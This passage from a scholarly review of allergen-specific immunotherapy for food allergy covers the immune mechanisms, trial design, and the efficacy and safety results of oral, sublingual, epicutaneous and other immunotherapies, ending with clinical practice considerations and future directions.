In EPIT, 50--500 µg (usually 250 µg) of food protein electrosprayed onto a patch is applied to the upper arm or interscapular space. EPIT protocols typically start with 2 hours of patch application under clinician supervision in the office. Thereafter, daily patch application continues at home, with duration of application increased incrementally up to 24 hours per day. During maintenance, a new patch is applied daily and worn 24 hours per day for 1 or more years.[@B6][@B7]
SCIT
----
In SCIT, allergen is administered by subcutaneous injection in incrementally increasing doses under clinical supervision. Current SCIT trials utilize alum-adsorbed hypoallergen which has been modified chemically or with site-directed mutagenesis to reduce immunoglobulin (Ig) E-binding capacity.[@B8]
LAMP-DNA vaccines
-----------------
In LAMP-DNA vaccines, DNA encoding allergen is administered in bacterial plasmid vectors, which express both the allergen epitope and LAMP-I for enhanced immunogenicity. They are administered by intramuscular or intradermal injection, every 2 weeks for a limited number of doses.
SECTION 2: IMMUNE MECHANISMS
============================
Immune mechanisms by which AIT may induce tolerance are not fully elucidated. The observed changes in immune function ([Table 2](#T2){ref-type="table"}) appear to hinge on altered allergen-specific T-cells responses, with induction of T-regulatory cells (Tregs) and suppression of T~H~2 immunity. Mechanisms of alteration in T-cell phenotype through AIT are discussed below and summarized in [Fig. 1](#F1){ref-type="fig"}.
Natural tolerance acquisition and that conferred by AIT with native allergen appear to occur through induction of Foxp3^+^ Tregs. Antigen uptake by immature tissue-resident dendritic cells (DC) in the absence of costimulatory signals results in DC-mediated Treg induction, through secretion of immunosuppressive cytokines and other mechanisms.[@B9][@B10] These induced-Tregs suppress allergic responses through secretion of inhibitory cytokines (interleukin \[IL\]-10, IL-35, and transforming growth factor \[TGF\]-β), which further amplifies Treg induction. Tregs also express surface receptors which alter DC function and induce target cell senescence.[@B11]
Immunotherapy appears to induce a shift away from T~H~2-predominant immune responses, with reduced allergen-specific production of T~H~2 cytokines.[@B6][@B12][@B13][@B14][@B15][@B16] This may occur not only through the immunosuppressive effects of Tregs as elaborated above, but also through a shift towards T~H~1 immunity.[@B6][@B17][@B18] T~H~1 cytokines such as interferon (IFN)-γ specifically inhibit T~H~2 immunity and IgE production. Alternative mechanisms include anergy and deletion of allergen-specific T~H~2 cells through repeated and frequent exposure to high doses of allergen.[@B19]
OIT
---
OIT utilizes the mechanisms underlying oral tolerance, resulting in suppression of allergic responses ([Fig. 2](#F2){ref-type="fig"}). Oral tolerance is likely dependent on induction of Tregs within gut-associated lymphoid tissue.[@B9][@B20] The steps through which this occurs include delivery of antigen to lamina propria DC by goblet cells (or other mechanisms); antigen uptake by CD103^+^DC in the intestinal lamina propria; CCR7-directed migration of DC to mesenteric lymph nodes (MLNs); and interaction between DC and T-lymphocytes within MLNs.[@B9][@B20] B-regulatory cells may also play a role in tolerance induction.[@B21] The role of Tregs, B-regulatory cells, and DCs in oral tolerance has recently been reviewed in detail.[@B20]
OIT is associated with reduced skin prick test (SPT) wheal diameter and reduced basophil reactivity, initial increase followed by a gradual decrease in antigen-specific IgE, sustained increase in antigen-specific IgG~4~ and antigen-specific IgA, decreased allergen-specific production of T~H~2 cytokines (IL-4, IL-13), increased allergen-specific production of T~H~1 (IFN-γ) and Treg cytokines (TGF-β), and Treg induction.[@B6][@B17][@B22][@B23][@B24][@B25][@B26][@B27][@B28] It appears however that some of these immunologic changes may be transient, with reversal on withdrawal of therapy and sometimes during maintenance.[@B23][@B27]
SLIT
----
SLIT utilizes the tolerogenic environment of the oral mucosa. Langerhans cells (LC; skin- and mucosa-homing DC) rapidly take up antigen, which has been transported across sublingual ductal epithelial cells.[@B29] LC migrate to local lymph nodes, where they present allergen to naïve T cells, inducing Tregs through secretion of immunosuppressive cytokines IL-10 and TGF-β.[@B30]
SLIT trials for FA provide evidence of Treg induction, and reduced T~H~2 cytokine production, that may reverse on cessation or during maintenance.[@B27] SLIT trials report reduced basophil reactivity, reduced SPT wheal diameter, and increased antigen-specific IgA and IgG~4~/IgE ratio.[@B26][@B27][@B31]
EPIT
----
EPIT is purported to induce tolerance through prolonged application of antigen to intact, non-inflamed skin. In mice, antigen applied to skin is taken up by LC in the *stratum corneum* and transported to draining lymph nodes, where these LC induce Foxp3^+^ Tregs locally.[@B32] Treg induction also appears to occur distally with generation of gut-homing LAP^+^Foxp3^−^ Treg cells, which provide sustained protection against anaphylaxis through direct TGF-β-dependent Treg suppression of mast cell activation.[@B33]
In the first clinical trials of EPIT for FA, treated subjects had increased IgG~4~/IgE ratios, with trends towards decreased basophil reactivity and decreased T~H~2 cytokine responses. Unlike OIT and SLIT, allergen-specific IgE did not change significantly with EPIT compared to controls.[@B6][@B34]
SCIT
----
The mechanisms underlying tolerance induction for SCIT with alum-adsorbed hypoallergen may differ from those for SCIT with native allergen. In SCIT with native allergen, immune tolerance is induced by similar mechanisms described above, with antigen-uptake by immature subcutaneous DC, migration of DC to local lymph nodes, Treg induction by tolerogenic DC, and Treg-mediated suppression of T~H~2 immune responses.[@B35] In SCIT using hypoallergen, alum-adsorption provides a costimulatory signal that promotes a T~H~1 response, which also serves to inhibit T~H~2 immunity. In murine and rabbit studies, subcutaneous immunization with hypoallergenic carp parvalbumin (Cyp c 1) resulted in increased sIgG and decreased sIgE antibodies; and inhibition of IgE-binding, basophil degranulation, and allergic symptoms on challenge.[@B36][@B37]
In the only published results of SCIT with hypoallergen for FA in humans, a 2017 abstract reported evidence of immunomodulation with increased peanut-specific IgG~4~ in subjects treated with subcutaneous injection of chemically modified alum-adsorbed peanut (HAL-MPE1) compared to controls.[@B38]
LAMP-DNA vaccines
-----------------
LAMP-Vax is a next-generation DNA vaccine platform designed to stimulate an immune response against a particular protein, by injecting the DNA encoding the protein. After vaccine administration, antigen-presenting cells (APCs) take up the vector, which translates DNA into allergen associated with LAMP-I.[@B39] LAMP-Vax DNA immunization contrasts with the immune response to conventional DNA vaccines, which are processed and primarily presented through major histocompatibility complex (MHC)-I and elicit a cytotoxic T response. LAMP-Vax DNA immunization initiates a more complete immune response, including antibody production, cytokine release, and critical immunological memory. In the C3H/HeJ peanut allergic mice (sensitized via oral ingestion of peanut and cholera toxin), intradermal injection of 50 µg ASP0892 attenuated allergic symptoms during peanut challenge as indicated by lower disease scores and higher body temperature compared to vector control, reduced peanut-specific IgE levels and increased peanut-specific IgG2a levels.[@B39][@B40]
There is currently an ongoing phase I, randomized, placebo-controlled study to evaluate safety, tolerability, and immune response in adults allergic to peanut after receiving intradermal or intramuscular injection of ASP0892 (ARA LAMP-Vax), a single multivalent peanut (Ara h1, h2, h3) LAMP-DNA Plasmid Vaccine (NCT02851277).
SECTION 3: DESIGN OF AIT CLINICAL TRIALS
========================================
With OIT, SLIT, and EPIT being the focus of most published AIT clinical trials, much of the below discussion is based on published data evaluating these therapies. A general schematic of OIT and SLIT is provided in [Fig. 3](#F3){ref-type="fig"}.
Goals of therapy
----------------
While the most desired outcome of AIT would be permanent tolerance, clinical trials investigating immunotherapies for FA typically use practical endpoints of desensitization and sustained unresponsiveness (SU). Desensitization is a temporary state of hyporesponsiveness, which is induced and maintained by frequent (daily) exposure to the offending antigen. Immune reactivity may return upon withdrawal of antigen exposure for a sufficient period of time. SU is a prolonged antigen hyporesponsiveness which persists after a period (typically 2--12 weeks) of cessation of therapy and avoidance of allergen.
Design of AIT clinical trials
-----------------------------
### Shared features of AIT clinical trials
Clinical trials share a number of features. For recruitment, entry criteria typically include a history of reaction to the food or physician-diagnosed FA, with evidence of IgE-sensitization. Typical exclusion criteria include history of life-threatening anaphylaxis, poorly controlled asthma, other form of concomitant immunotherapy, medications that either suppress immune response or increase risk of reactions, and certain chronic conditions. Most of the rigorous studies will require a double-blind placebo-controlled oral food challenge (DBPCFC) to determine the threshold prior to initiation of therapy, to confirm presence of the FA, and to eliminate subjects who are tolerant of the food or reactive to placebo.
For randomized, controlled trials (RCT), subjects are then randomized to AIT or to the control group (placebo and/or strict avoidance of allergen). To evaluate immunomodulation on AIT (Section 3), clinical trials may perform allergen-specific evaluation prior to AIT initiation, at various time-points during the study and at the conclusion of therapy. Therapy protocols are undertaken for various forms of AIT as described in Section 1. Adverse events (AEs) are monitored through out the trial. Subjects may withdraw for any reason. Common reasons include persistent and/or severe AE, anxiety related to doses or oral food challenge (OFC), inability to comply with protocols, or new medical problems or medications.
At the conclusion of therapy, desensitization is typically evaluated with DBPCFC, and reported as the portion of subjects tolerating standardized dose of food or as the increase in the maximum tolerated dose of allergen compared to prior to IT. For those trials also evaluating SU, subjects avoid therapy as well as native food for a period (typically 2--12 weeks) after which DBPCFC is again undertaken. Some trials may report consumption of the food years out from therapy, to evaluate long-term success with AIT.
### Divergent features of AIT trials
Direct comparison of results of various studies is hampered by variation in trial design. The following frequently differ between trials: allergic profile of individuals enrolled in the trial; duration of initial dose-escalation, build-up, and maintenance phases as well as avoidance period prior to SU-OFC; daily maintenance dose; and dose administered during OFCs to define desensitization and SU. Though all trials report moderate or severe AE as well as administration of epinephrine, reporting of minor AE may differ, with some trials reporting only what are deemed clinically-relevant dose-related AE, and others with a lower threshold to report minor AE.
SECTION 4: ORAL IMMUNOTHERAPY TRIALS
====================================
Overview of OIT trials
----------------------
OIT remains a subject of active investigation, with most trials demonstrating efficacy limited by safety and compliance. Published studies have evaluated OIT with major food allergens, including milk, egg, peanut, and wheat, with safety and efficacy varying by food allergen. In recent years, investigators have evaluated OIT with modified proteins, with multiple foods, and/or combined with immunomodulatory agents.
### Efficacy
Oral administration of gradually increasing quantities of food protein during OIT effectively induces desensitization in a majority of food allergic subjects, provided they can tolerate and comply with therapy. A portion of those achieving desensitization go on to demonstrate SU 2--12 weeks post-OIT.[@B12][@B24][@B41] For those achieving SU, long-term follow-up studies demonstrate continued consumption of offending food months to years after OIT completion.[@B42][@B43]
### Safety
The use of OIT in routine clinical practice has been limited by its AE, which are most often mild, but can include anaphylaxis, chronic gastrointestinal (GI) discomfort, and eosinophilic esophagitis (EoE). Safety varies by allergen, with milk carrying increased risk of AE compared to peanut, egg, and perhaps wheat. The majority of subjects experience some symptoms with OIT, including oropharyngeal pruritus, rhinitis, abdominal discomfort, vomiting, urticaria, angioedema, atopic dermatitis flare, cough, and wheeze. Most of the time, these are non-severe and self-resolving; sometimes administration of antihistamine, short-acting beta agonists, or systemic steroids is required. Though uncommon, most OIT trials are accompanied by a few severe reactions requiring administrations of epinephrine. Persistent, frequent, or severe symptoms often interfere with adherence and result in drop-outs accompanying virtually every OIT trial. While severe reactions occur most often during initial dose escalation and build-up, they can occur with home administration of previously tolerated doses. A major development in reducing IgE mediated AE with OIT has been concomitant administration of omalizumab, discussed in section "OIT with omalizumab."[@B44]
### Cofactors
Adverse reactions occurring with previously tolerated doses often occur in the setting of cofactors which lower allergic threshold, such as viral infection, febrile illness, active allergic rhinitis in the pollen season, physical exertion, or administration on an empty stomach.[@B45][@B46][@B47] To address cofactors, most OIT protocols advise dose adjustments in the setting of viral infection, avoidance of exertion in the hours following a dose, and administration after a full meal.
### EoE
A meta-analysis by Lucendo and colleagues[@B48] concluded that EoE may develop in up to 2.7% of OIT subjects, and often resolves on withdrawal of OIT. It is possible that more subjects develop OIT-related EoE than is reported, as some discontinuing OIT for GI symptoms suspicious for EoE are not evaluated with endoscopy.[@B47] It is not clear whether OIT unmasks EoE to the culprit food or increases the likelihood of EoE.
### Adherence
OIT requires significant commitment from families and patients in order to adhere to therapy. Families and patients need the flexibility in their schedules and access to transportation to return many times during the protocol. Initial dose escalation may require a full day (or several days depending on the protocol) in an inpatient setting. For build-up phases (which may take weeks to months), patients must return every 1 to 2 weeks for observed dosing. Finally, subjects must take their dose every day for months to years; for patients with taste aversion, parents and patients with anxiety, and families with significant life events, this may prove challenging. As a consequence, most OIT studies report withdrawals from the protocol for issues not specifically related to AE.
### Quality of life (QoL)
Despite its risks and frequent adverse effects, OIT appears to improve QoL,[@B49] alleviating risk with accidental exposure, food-related anxiety, and social and dietary limitations.
### Cost-effectiveness
Peanut-OIT with probiotic was found to be cost efficient compared to avoidance in a long-term economic model, with an incremental cost-effectiveness ratio of \$2,142 per quality-adjusted life year. However, peanut-OIT subjects were more likely to experience peanut-related allergic reactions and anaphylaxis; this appeared to be of particular relevance to subjects who experience a low rate (\<25%) of allergic reactions related to accidental exposure, or when probability of SU was less than 68%.[@B50]
Details of the specific OIT-studies are presented in the tables; cow\'s milk (CM; [Tables 3](#T3){ref-type="table"} and [5](#T5){ref-type="table"}), egg ([Tables 4](#T4){ref-type="table"} and [5](#T5){ref-type="table"}), peanut ([Table 6](#T6){ref-type="table"}), and wheat ([Table 7](#T7){ref-type="table"}).
OIT with omalizumab
-------------------
A major development in improving safety of OIT has been the use of omalizumab ([Table 8](#T8){ref-type="table"}). Its use as pretreatment and continued administration through build-up offers significant protection from IgE-mediated reactions, allowing for more rapid and safe dose escalation, with less withdrawals due to dose-related AE. However, reactions to previously tolerated doses may occur after cessation of omalizumab.[@B44][@B51][@B52]
### CM-OIT with omalizumab
In 2011, Nadeau and colleagues[@B44] published results of a 24-week protocol with 9 weeks of omalizumab pretreatment and 16 weeks of CM-OIT with omalizumab, followed by a maintenance phase without omalizumab. In this uncontrolled pilot study, 82% of 11 enrolled subjects reached goal daily maintenance dose, demonstrated desensitization to 7.25 g of milk protein, and subsequently continued home ingestion of \>8 g milk protein daily. Though all patients experienced some AE, only 1.6% of doses elicited any reaction, significantly less than 35%--50% observed in some of the first milk OIT trials.[@B45][@B53] However, after cessation of omalizumab during maintenance therapy, 2 of 9 subjects administered EAI for moderate reactions after home doses.
Wood and colleagues[@B54] published results of a 30-month CM-OIT protocol in which participants were randomized to OIT with or without omalizumab until month 28. For omalizumab and placebo groups (respectively), efficacy in achieving desensitization to 10 g CM protein OFC (89% and 71%) and 8 week-SU (48% and 36%) were similar. AEs to CM-OIT were significantly reduced in the group on omalizumab: the median percent of doses with symptoms per subject were 2.1% and 16.1%, and dose-related withdrawals were 0 and 4, respectively.
### Peanut-OIT with omalizumab
Schneider and colleagues recruited highly sensitized peanut allergic subjects for open-label study of peanut-OIT with omalizumab, which was given for 12 weeks preceding OIT and continued through 2 months of OIT build-up.[@B55] Twelve of 13 subjects reached 4 g maintenance, continued with 8 months OIT, and subsequently demonstrated desensitization to 8 g peanut protein (PP) during OFC. The most severe AEs were 2 grade 3 reactions, both of which occurred during maintenance.[@B55] In 2016, MacGinnitie and colleagues[@B47] conducted a study randomizing peanut-OIT subjects to omalizumab or placebo as pretreatment and during build-up phase to daily maintenance dose of 2 g. Though reaction rates were similar for omalizumab and placebo, omalizumab subjects tolerated therapy at higher doses and significantly more omalizumab subjects (79% of 29) tolerated the 4 g PP challenge 12 weeks after omalizumab cessation compared to placebo (1 of 8).
### Multifood-OIT with omalizumab
Multifood-OIT addressing up to 5 foods was the subject of an open-label study, in which 25 subjects received omalizumab as pretreatment and during 8 weeks of build-up therapy to attain daily maintenance dose of 4 g food protein. All participants reached doses equivalent to a 10-fold increase in allergen tolerance by 2 months of therapy, and mean time to maintenance was just 4.5 months. Regarding safety, initial dose escalation and build-up phases were limited to mild reactions; the most severe reactions occurred during maintenance, with 0.06% of doses causing moderate chest symptoms and 0.02% moderate abdominal symptoms. One severe reaction after a home maintenance dose was treated with EAI.[@B52]
### Recurrence of symptoms after cessation of omalizumab
Significant adverse reactions have been reported with continued OIT in the weeks following omalizumab cessation: Nadeau and colleagues[@B44] reported 2 moderate AE (treated with EAI) among 11 subjects; Schneider and colleagues[@B55] reported 2 grade 3 reactions among 13 subjects. In Begin et al.\'s study with 25 subjects, all moderate reactions (with 0.06% of doses) and one severe reaction (treated with EAI) occurred during maintenance after omalizumab cessation.[@B52]
OIT with other immunomodulatory agents
--------------------------------------
### OIT with probiotic
An Australian study has evaluated peanut-OIT combined with probiotic (PPOIT). Tang and colleagues[@B56] reported that 31 PPOIT subjects, who were treated with active OIT and *Lactobacillus rhamnosus* CGMCC 1.3724 (NCC4007; Nestlé Health Science, Konolfingen, Switzerland) at a fixed dose of 2×10^10^ colony-forming units (freeze-dried powder) once daily for 18 months, had higher rates of desensitization (90% vs. 7%) and 2-5 week-SU (82% vs. 4%) compared to 28 placebo (placebo PPOIT and placebo probiotic) subjects. Regarding safety on home dosing, the PPOIT group had 6 severe AE with 3 EAI administrations compared to 4 severe AE with 2 EAI administrations on placebo. A follow-up study published in 2017 found that after a mean of 4.2 years from cessation of PPIOT, 67% of 24 PPOIT subjects were consuming peanut on a regular basis; and 58% of 12 PPOIT subjects demonstrated 8-week SU, compared to 1 of 12 placebo.[@B43] The impact of this RCT is significantly limited by the lack of a proper control for the effect of peanut-OIT alone as well as the lack of blinding and no DBPCFC to confirm peanut allergy at baseline.
### OIT with Chinese herbs
FAHF-2 is a 9-herb formula based on traditional Chinese medicine that blocks peanut-induced anaphylaxis in a murine model. In phase I studies, FAHF-2 was found to be safe and well tolerated; there was laboratory evidence of immunomodulation without appreciable clinical benefit. No significant differences in allergen-specific IgE and IgG~4~ levels, cytokine production by peripheral blood mononuclear cells (PBMCs), or basophil activation between the active and placebo groups were detected. *In vitro* studies reported that subjects\' baseline PBMCs incubated with FAHF-2 and food allergen produced significantly less IL-5, greater IL-10 levels, and increased numbers of Treg than untreated cells.[@B57] A clinical trial is underway evaluating combination of FAHF-2, multi-food-OIT, and omalizumab (NCT 02879006).
SECTION 5: SLIT TRIALS
======================
Overview of SLIT trials
-----------------------
SLIT trials have evaluated utility in treatment of hazelnut, peanut, and CM allergy ([Table 9](#T9){ref-type="table"}).[@B13][@B31][@B58][@B59] SLIT significantly increases threshold for reactivity in subjects who comply with therapy, though with reduced efficacy compared to OIT.[@B24][@B26] AE, which are typically mild and limited to oropharyngeal pruritus, are common in SLIT. Moderate and severe AE occur with less frequency in SLIT compared to OIT.[@B13] Cofactors, as described with OIT, appear to lower threshold for reactivity to SLIT.[@B58] Occurrence of EoE in association with aeroallergen SLIT[@B60][@B61] suggests a theoretic risk for EoE with food SLIT.
SLIT trials
-----------
### Hazelnut-SLIT
The first SLIT trial published in 2005 reported desensitization to 20 g hazelnut (approximately 14 hazelnuts) in 50% of 12 SLIT subjects compared to 9% of 11 placebo subjects, after 8--12 weeks of therapy. Mean eliciting dose increased significantly from 2.3 to 11.6 g in SLIT subjects (*P*=0.02). Regarding safety, there were 3 systemic reactions, all of which occurred during build-up and responded to antihistamine. Mild reactions accompanied 7.4% of doses.[@B58]
### Peanut-SLIT
Using a 12--18 month peanut-SLIT protocol enrolling subjects aged 12--37 years, Kim and colleagues[@B13] reported that 11 active younger SLIT subjects (1--11 years) consumed 20 times more peanut than 7 subjects randomized to placebo. Compliance was similar on SLIT and placebo. Symptoms accompanied 11.5% of active and 8.6% of placebo doses; 0.26% of home SLIT doses were treated with antihistamine, 1 with albuterol; none with EAI. Using a 44-week SLIT protocol among older SLIT subjects (12--37 years), Fleischer and colleagues[@B59] reported that 70% of 20 SLIT subjects were considered responders (ingested 5 g PP or 10-fold more than baseline), compared to 15% of 20 on placebo (*P*\<0.001). Symptoms accompanied 37% of doses; 2.9% required treatment, with 1 administration of albuterol and 1 of EAI (during build-up). In open-label follow-up study of the same subjects, 11% of 37 subjects continuing with SLIT were desensitized to 10 g PP, with all 4 subsequently demonstrating 8-week SU. There were no EAI administrations. Twenty-five withdrew for various reasons, including 2 for dose-related AE.[@B31]
SLIT vs OIT trials
------------------
Trials compareing SLIT and OIT are presented in [Table 10](#T10){ref-type="table"}.
### Peanut-SLIT vs OIT
Peanut-OIT subjects experienced a 141-fold mean increase in the highest tolerated dose compared to a 22-fold mean increase among SLIT-subjects after 1 year of therapy. One-month SU was achieved by 3 of 10 OIT-subjects compared to 1 of 10 SLIT. SLIT-subjects experienced less severe AE, with 5 EAI administrations related to OIT vs none with SLIT.[@B26]
### CM-SLIT vs OIT
In a study comparing CM-SLIT alone to therapy with SLIT for initial up-dosing followed by CM-OIT, SLIT/OIT subjects were significantly more likely to demonstrate desensitization (70% of 20) and 6-week SU (40% of 20) compared to subjects receiving SLIT alone (1 of 10). Multisystem reactions and medical intervention (antihistamine, albuterol, and EAI) were more frequent with OIT.[@B24]
SECTION 6: EPIT TRIALS
======================
Overview of EPIT
----------------
Peanut and CM-EPIT have been shown to increase threshold for reactivity in 3 published trials.[@B6] Though efficacy is more modest compared to OIT and SLIT, EPIT appears to have a more favorable side effect profile. Most AEs are limited to local cutaneous symptoms at the patch application site; occasional systemic reactions have been non-severe and resolved with antihistamine. With reduced AE and fewer visits at a medical facility for up-dosing, adherence might be better with EPIT compared to OIT and SLIT.
EPIT trials
-----------
EPIT clinical trials are summarized in [Table 11](#T11){ref-type="table"}. The randomized, double-blind, placebo-controlled phase 1b trial of peanut-EPIT conducted in 5 centers in the US included 100 subjects, aged 6--50 years, randomized 4:1 (peanut/placebo) to receive Viaskin Peanut (VP) treatment in dosing cohorts at doses of 20, 100, 250, and 500 µg or placebo. This trial reported an overall acceptable safety and tolerability after 2 weeks of therapy. There were no severe AE and no EAI administrations; 2 systemic reactions were thought to be related to protein transfer to mucosal surface. Three of 49 active subjects withdrew due to treatment-related symptoms.[@B7]
In the multicenter-RCT conducted by the Consortium for Food Allergy Research, 74 peanut allergic individuals (ages 4--25 years) were treated with placebo (n=25), VP 100 µg (n=24) or VP 250 µg (n=25), for 52 weeks. The primary outcome was defined as passing a 5,044-mg PP DBPCFC or achieving at least 10-fold increase in successfully consumed dose from baseline. Treatment success was seen in 3 (12%) placebo-treated participants, 11 (46%) VP100-participants, and 12 (48%) VP250-participants (*P*=0.005 and *P*=0.003, respectively, compared with placebo; VP100 vs VP250, *P*=0.48). Median changes in successfully consumed doses were 0, 43, and 130 mg PP in the placebo, VP100-, and VP250-groups, respectively (placebo vs VP100, *P*=0.014; placebo vs VP250, *P*=0.003). Treatment success was higher among younger children (*P*=0.03; age 4--11 vs \>11 years). Regarding AE, 80% of EPIT doses had local reactions vs 14.4% placebo. Non-patch site reactions were reported at similar frequency in EPIT and placebo-groups (0.1% and 0.2%, respectively); no EAI or albuterol was required. There were 3 withdrawals from each group, one for treatment-related symptoms in the EPIT group.[@B6]
In October 2017, preliminary results of Peanut EPIT Efficacy and Safety (PEPITES) phase III trial evaluating the safety and efficacy of VP in children 4-11 years of age were released (<https://globenewswire.com/news-release/2017/10/20/1151107/0/en/DBV-Technologies-Announces-Topline-Results-of-Phase-III-Clinical-Trial-in-Peanut-Allergic-Patients-Four-to-11-Years-of-Age.html>). PEPITES reported a statistically significant response, with 35.3% of patients responding to VP 250 µg after 12-months, compared to 13.6% of placebo-patients (difference in response rates=21.7%; *P*\<0.001; 95% confidence interval \[CI\], 12.4%--29.8%). The primary endpoint, defined as the 95% CI in the difference in response rates between the active and placebo arms, did not reach the 15% lower bound of the CI that was proposed in the study\'s Statistical Analysis Plan (SAP).
Regarding the Cumulative Reactive Dose (CRD), a key secondary endpoint measuring threshold reactivity during DBPCFC at month-12, patients treated with VP 250 µg and placebo reached a median CRD 444 mg and 144 mg PP, respectively. Median CRD at baseline was 144 mg in both groups. This increase from baseline was statistically significant compared to placebo (*P*\<0.001). PEPITES reported 12 serious adverse events (SAEs) in 10 active-subjects (4.2%), and 6 SAEs in 6 placebo-subjects (5.1%); 4 SAEs in 3 active-subjects (1.3%) were possibly related to treatment; no SAE qualified as severe anaphylaxis. The most commonly reported AEs were mild-moderate patch application site reactions. The discontinuation rate was 10.1%, comparable between the active- and placebo-arms, with a 1.1% dropout rate due to treatment emergent AEs. Mean patient adherence exceeded 95%.
SECTION 7: CLINICAL TRIALS OF ADDITIONAL FORMS OF AIT
=====================================================
Other forms of AIT include SCIT with alum-adsorbed hypoallergen and LAMP-DNA vaccine, both of which are being actively investigated in human subjects. A phase IIb clinical trial evaluating safety and efficacy of SCIT with alum-adsorbed, recombinant fish allergen parvalbumin (NCT02382718) is completed but not as yet published. Preliminary results of a phase I clinical trial evaluating safety and immunomodulation with alum-adsorbed chemically modified peanut extract (NCT02851277)[@B38] have been presented in an abstract form. Subjects were randomized to receive 15--20 incrementally increasing weekly doses of study product (HAL-MPE, n=17) or placebo (n=6). Local and systemic reactions were observed more often in the active group; no late (\>4 hours after therapy) systemic reactions were observed. Authors concluded that the therapy was safe and well tolerated.[@B38]
Two additional forms of AIT, including SCIT with native peanut allergen and rectally-administered modified PP, were previously studied in humans and abandoned due to unacceptable safety profile.[@B62][@B63][@B64]
SECTION 8: AIT IN CLINICAL PRACTICE
===================================
AIT in today\'s clinical practice
---------------------------------
### Currently available AIT
Of various modalities of AIT, OIT is the only therapy currently accessible to physicians and patients, as food may be delivered in native form and may be purchased and/or prepared at home. While some physicians have begun offering OIT to families who are eager for therapy, OIT in the clinical setting continues to carry risks observed in research studies: in a retrospective chart review of 352 patients undergoing peanut-OIT in clinical practice, patients did experience 95 severe reactions requiring epinephrine.[@B65]
### Current recommendations for OIT in clinical practice
Experts have yet to recommend that OIT be part of routine clinical practice, due to safety concerns and uncertainty regarding duration of tolerance, even following prolonged therapy. One exception to this is regular ingestion of baked goods among milk- and egg-allergic children, which appears to safely hasten tolerance acquisition to unheated milk and egg.[@B66][@B67] OIT with native food proteins remains a risky endeavor; and protocols for subject selection and administration of OIT in clinical practice are lacking.
### Subject-selection for OIT
When guidelines for OIT in clinical practice become available, selecting appropriate subjects for therapy will be as important as protocol design. There are currently no strict criteria to assist practitioners in choosing subjects for OIT. Patients who are highly sensitized or at high risk for severe anaphylaxis may not be appropriate candidates for OIT. Lower threshold dose at entry challenge, higher sIgE, increased sIgE: total IgE ratio, larger SPT wheal diameter, and personal history of asthma or allergic rhinitis were associated with worse outcomes, as measured by frequency of severe AE, adherence to treatment, and demonstration of desensitization and SU.[@B12][@B68][@B69] Virtually every OIT trial excludes subjects with history of severe anaphylaxis, uncontrolled asthma, or other chronic conditions and medications which may put subjects at higher risk for more severe reactions; OIT has thus not been studied in and would not be appropriate for patients with these characteristics.
Most food-allergic patients may be of milder phenotype than those included in OIT trials: while entry OFC for clinical trials requires reactivity at doses \<100--300 mg, most reactions (55%) during OFC in practice occur at doses \>250 mg.[@B70] Therefore, OFC outcomes among the majority of food-allergic subjects will be better than reported in clinical trials.
Factors unrelated to reactivity will also be important in providing safe and effective OIT. Risks of OIT may be unacceptable among patients and families who express hesitance in administering epinephrine, or who do not understand the importance of dose adjustments for and avoidance of cofactors, which lower threshold for reactivity. Compliance with therapy is likely to be hampered by anxiety surrounding dose administration, taste aversions, and insufficient resources to ensure daily dose administration and regular follow-up.
Discussion of OIT should take place in the context of a growing body of evidence on OIT as well as changing landscape of AIT for FA. With SLIT and EPIT likely to become available in the next few years, it may be that waiting for a safer option is a better strategy. Alternatively, it may become clear that immunotherapies are more effective and/or safer in younger children, and should be started sooner rather than waiting for another therapy to become available. Evidence on the safe and effective use of OIT will continue to accumulate in the coming years, with guidelines from experts likely to follow.
Selecting among AIT options in clinical practice in the future
--------------------------------------------------------------
OIT, SLIT, and EPIT for major food allergens are likely to be part of FA-management in the coming years. Depending on outcomes of other clinical trials for LAMP-DNA peanut vaccines and SCIT with hypoallergens, these too may be options. With availability of multiple options, sufficient understanding of AIT will be necessary to evaluate appropriateness of therapy for individual patients. Clinicians will need to engage patients and families in a discussion of realistic outcomes and adverse effects. This discussion will not only be guided by clinical history and allergy testing, but also by assessment of the patient\'s and family\'s goals and ability to adhere to protocols.
Combination therapy may prove to be a helpful strategy if and when multiple therapies are available. As has already been done in some clinical trials, a subject may initiate therapy with SLIT, and then transition to OIT. Sufficient desensitization with a few years of EPIT might make more effective therapies such as OIT a safer option in the future. Immunomodulatory therapies such as omalizumab, dupilumab, probiotic bacteria, and/or Chinese herbs may be combined with AIT to improve safety and efficacy.
SECTION 9: FUTURE DIRECTIONS
============================
There is a race to develop commercial treatment for FA fueled by increasing prevalence and severity of food allergies in children, particularly peanut allergy. The multi-center phase III clinical trials of peanut-OIT and EPIT are ongoing. Approved, standardized protocols for food immunotherapy that can be safely and effectively implemented in clinical practice are needed. We also need to establish the minimum effective and safe maintenance dose, duration of AIT, and frequency of maintenance dosing for long-term therapy. Considering that at least 30% of those with persistent FA are allergic to multiple foods, treatments for milk, egg, wheat, tree nuts, seeds, fish, and shellfish allergy, as well as approaches for combining multiple foods, are desirable. Approaches to mitigating side effects of AIT, as well as mechanisms to enhance efficacy and development of permanent oral tolerance such as adjuvants, nanoparticles, DNA vaccines, or combined therapies, need to be explored. Biomarkers predictive of the favorable response to AIT are highly desirable. Patients with the most severe phenotype of life-threatening anaphylaxis are currently excluded from clinical trials, yet they are in the dire need of effective treatment that can be adhered to long-term as it is obvious that such patients will need most likely a life-long therapy. Tremendous progress has occurred in the past decade but the permanent cure for FA remains elusive and further research into tolerance development is necessary.
CONCLUSION
==========
Emergence of FA as a global health problem underscores the importance of research to develop effective treatment strategies. A growing body of evidence supports the concept of AIT for subsets of food-allergic patients. Currently studied therapies have significant efficacy limitations and associated adverse effects, and do not offer reassurance regarding long-term protection following discontinuation of treatment. The equipoise between AIT vs food avoidance is reflected by the lack of official guidelines from the allergy societies and regulatory agencies and lack of standardized products. Hopefully within the next few years, clinicians will gain a better understanding of the utility of AIT, discover biomarkers predictive of favorable outcomes and develop strategies to enhance safety and efficacy of AIT.
There are no financial or other issues that might lead to conflict of interest.
{#F1}
{#F2}
{#F3}
###### Comparison of allergen-specific immunotherapies for food allergy currently under study in human subjects
Features OIT SLIT EPIT SCIT with hypoallergen^\*^ LAMP-DNA vaccine^\*^
----------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- -------------------------------------------------------------------- ------------------------------------------------------------
Food allergens Peanut, cow\'s milk, egg, wheat, multi-food Peanut, cow\'s milk, hazelnut, peach Peanut, cow\'s milk Peanut, fish Peanut
Stage of study Phase I-IV Phase I-III Phase I-III Phase I-II Phase I
